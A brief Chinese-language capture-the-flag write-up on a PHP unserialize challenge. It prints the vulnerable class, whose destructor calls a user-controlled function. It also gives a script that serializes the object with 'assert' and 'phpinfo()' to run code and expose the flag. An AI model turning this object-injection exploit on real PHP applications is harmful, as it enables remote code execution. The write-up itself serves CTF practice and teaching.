打开场景,一个窟窿头,太哈人了,源码审计吧
发现一个奇怪的a标签,time.php?source
访问一下,果然是源码审计
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "Y-m-d h:i:s";
$this->b = "date";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
if(isset($_GET['source']))
{
highlight_file(__FILE__);
die(0);
}
@$ppp = unserialize($_GET["data"]);
2021-12-31 01:36:04
利用点很好找,echo $b($a);
函数功能,$b,参数$a
flag不是一个单独文件,在phpinfo里,吐了,eval也被禁用了,assert可以
写个小脚本
<?php
#error_reporting(0);
class HelloPhp
{
public $a;
public $b;
public function __construct(){
$this->a = "phpinfo()";
$this->b = "assert";
}
public function __destruct(){
$a = $this->a;
$b = $this->b;
echo $b($a);
}
}
$c = new HelloPhp;
print_r(urlencode(serialize($c)))
?>
参考视频链接:https://www.bilibili.com/video/BV113411Y7Nk?spm_id_from=333.999.0.0